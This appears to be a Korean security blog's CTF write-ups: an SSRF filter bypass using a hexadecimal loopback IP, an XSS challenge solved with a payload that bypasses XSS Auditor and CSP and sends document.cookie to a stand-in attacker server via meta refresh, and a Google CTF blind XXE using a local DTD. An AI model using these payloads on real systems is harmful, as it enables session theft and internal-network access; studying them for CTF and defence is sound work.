            url = 'http://' + url


        host_info = urlparse(url)._hostinfo


        asyncio.set_event_loop(asyncio.new_event_loop())

        loop = asyncio.get_event_loop()

        FLAG = loop.run_until_complete( asyncio.ensure_future( check_func(*host_info) ) )

        if FLAG:

            return render_template('request.html', flag=FLAG)

        else:

            return render_template('request.html', error=True)


    return render_template('request.html')


if __name__ == '__main__':

    app.run(host='0.0.0.0', port=80, debug=False)




def check_func 함수 내부의 필터링 로직이 존재한다.


127.0.0.1:3333에 접근해야 하는데 아래 코드로 인해 필터링을 당하고있다.


if '127.' in hostname or '.0.' in hostname or '.1' in hostname: 0/0


if inet_aton(hostname) != b'\x7f\x00\x00\x01': 0/0


ip를 10진수대신 16진수로 대체해주면 해당 필터가 우회된다.


payload = http://0x7f.0x0.0x0.0x1:3333


Flag = ISITDTU{warmup task is not that hard}


XSS Game 1


문제에 들어가보면 간단한 Reflectd XSS가 터지는 기능이 하나 나온다. 


취약점이 터지는 코드는 아래와 같다.


/*** We prevent change the location ***:

<script>Object.freeze(location);</script>input<br><script>location='http://input';</script>


input이 두 군데 지점에 들어가고 Object.freeze로 location 객체를 통한 redirect를 필터링하고 있다.


필터 당하는 문자열을 보면 `,' 이거 두가지 정도라 그냥 XSS 터트리면 될 것 같은데 Chrome XSS Auditor랑 CSP가 적용되어 있다.


최종적으로 해야할건 Chrome XSS Auditor Bypass + CSP Bypass + locaion filter Bypass 정도였다.


먼저 XSS auditor는 `가 필터링되고 있지만 인풋이 개행없이 하나의 라인 2군데 지점에 들어가서 "를 통해 우회해줬다.


";alert(1);//<script>


그다음 CSP와 같은 경우는 아래와 같이 세팅되어 있었다.


default-src 'self'; script-src 'self' 'unsafe-inline' 'unsafe-eval';sandbox allow-scripts allow-same-origin


기본적인 resource load 정책이 다 self로 되어있었고 sandbox 정책까지 적용되어 있었다. 여기다 location까지 필터당하고 있어서 위 두가지에 필터안되는 구문을 찾아야했다.


location 외에 redirection을 만드는 html 구문 몇개를 테스트 해보니 csp에 안걸리는 구문을 찾을수 있었다.


window.open <- filter (csp allow-popups) 

form action <- filter (csp allow-forms)

a tag href <- filter bypass

meta tag refresh <- filter bypass


payload =  http://165.22.52.11/XSSGAME1/?pl=";a=document.createElement("meta");a.httpEquiv="refresh";a.content="0;url=http://my_server/?"%2bdocument.cookie;document.body.appendChild(a);//<script>"


Flag = ISITDTU{0274fdcad72fb003e36bb77d9ef2279b3eb3f519}
























블로그 이미지

JeonYoungSin

메모 기록용 공간

,

보호되어 있는 글입니다.
내용을 보시려면 비밀번호를 입력하세요.

최근들어서 버그헌팅에 빠져서 문제도 거의 못보고 블로그에 글 남길 일도 없었는데 주말에 Google CTF가 열렸길래 오랜만에 문제 구경을 좀 해봤다. 


해당 문제는 대회기간에 도저히 취약점 트리거할 포인트 자체가 안보여서 어떻게 취약점이 터지는건지 엄청 궁금했는데 대회종료 후 롸업에서 취약점 트리거되는 포인트가 엄청 신선하고 재미있어서 정리해봤다. 


문제를 보면 아래와 같이 엄청 간단한 기능 하나가 존재한다. 



도시 이름으로 검색을 하면 해당 도시에 대한 정보를 뿌려주는 형태인데 실제 요청되는 데이터는 아래와 같은 형태였다.



요청되는 파라미터 값을 보면 숫자로 이루어진걸 볼 수 있는데 해당 값은 아래 js 코드를 통해 생성된다.


post.js


function AjaxFormPost() {

  var datasend;

  var message = document.getElementById('message').value;

  message = message.toLowerCase();


  var blindvalues = [

    '10',    '120',   '140',    '1450',   '150',   '1240',  '12450',

    '1250',  '240',   '2450',   '130',    '1230',  '1340',  '13450',

    '1350',  '12340', '123450', '12350',  '2340',  '23450', '1360',

    '12360', '24560', '13460',  '134560', '13560',

  ];


  var blindmap = new Map();

  var i;

  var message_new = '';


  for (i = 0; i < blindvalues.length; i++) {

    blindmap[i + 97] = blindvalues[i];

  }


  for (i = 0; i < message.length; i++) {

    message_new += blindmap[(message[i].charCodeAt(0))];

  }


  datasend = JSON.stringify({

    'message': message_new,

  });

  var url = '/api/search';

  xhr = new XMLHttpRequest();

  xhr.open('POST', url, true);

  xhr.setRequestHeader('Content-type', 'application/json');


  xhr.onreadystatechange =

      function() {

    if (xhr.readyState == 4 && xhr.status == 200) {

        console.log(xhr.getResponseHeader('Content-Type'));

        if (xhr.getResponseHeader('Content-Type') == "application/json; charset=utf-8") {

            try {

                var json = JSON.parse(xhr.responseText);

                document.getElementById('database-data').value = json['ValueSearch'];

            }

            catch(e) {;

                document.getElementById('database-data').value = e.message;

            }

        }

        else {

            document.getElementById('database-data').value = xhr.responseText;

        }

    }

}

      xhr.send(datasend);

}


코드는 심플한데, 위 구조 상 숫자로 변환되기 전 원본 값에는 알파벳소문자밖에 들어갈 수가 없었다. 기능도 너무 심플하고 터질만한거라곤 injection류밖에 안떠올랐는데 알파벳 소문자만가지고 할만한게 뭔지 도저히 안떠올랐다. 변환된 숫자 자체가 인젝션 데이터로 들어가는건가 했는데 그것도 아니었다.

여기서 몇시간정도 고민하다가 접었는데 실제 취약점이 터지는 부분을 보니 너무 고정관념을 가지고 문제를 바라봤던 것 같다.

취약점과 같은 경우 요청 Content-type을 json type이 아닌 xml type으로 바꿔주고 데이터를 xml형태로 요청해주면 서버에서 해당 xml데이터를 파싱해주면서 xxe를 터트릴 수 있는 형태였다. 

첨엔 이런식으로 로직을 짜는 케이스가 있나? 하면서 문제를 위한 문제인가 싶은 생각도 들었는데 실제 해당 케이스로 링크드인에서 터진 리얼월드 케이스가 있어서 엄청 충격이었고 정말 웹은 하면할수록 깊이가 끝이 안보여서 재밌으면서도 힘든것 같다.

취약점과 같은 경우 아래와 같이 json형태의 데이터를 xml 형태로 변환해서 요청해주면 실제로 서버에서 해당 xml 데이터를 파싱해서 도시정보를 구해오는걸 볼 수 있었다.


이제 그냥 xxe로 플래그 찾으면 되겠다 싶었는데 간단한 문제가 있었다.


일단 요청값중에 응답에 뿌려지는 값이 없기때문에 Blind XXE를 해야했는데 External Entity는 먹히는데 아웃바운드가 다 막혀있어서 외부 요청이 안됬다. 


여기서 딱 예전에 문서에서 보고 테스트해봤던 Local DTD를 써서 Error Based Blind XXE 터트리는게 떠올랐다. 실제 실무에선 아직 못써보고 씨텝에서도 이런 환경의 XXE는 나온적이 없어서 써먹지 못하고있었는데 엄청 반가웠다.


https://mohemiv.com/all/exploiting-xxe-with-local-dtd-files/ 요글 참고해서 익스를 진행해보니 실제로 파일이 읽혔다.


Defalut Local DTD 파일과 같은 경우 Linux 환경일거라 /usr/share/yelp/dtd/docbookx.dtd 파일로 시도했고 실제로 파일이 존재하길래 이걸로 진행했다.






Flag = CTF{0x1033_75008_1004x0}




 










  



블로그 이미지

JeonYoungSin

메모 기록용 공간

,

Xs-Search

2019. 6. 6. 14:57

보호되어 있는 글입니다.
내용을 보시려면 비밀번호를 입력하세요.

Canhack.me BBCode

2019. 6. 5. 10:50

보호되어 있는 글입니다.
내용을 보시려면 비밀번호를 입력하세요.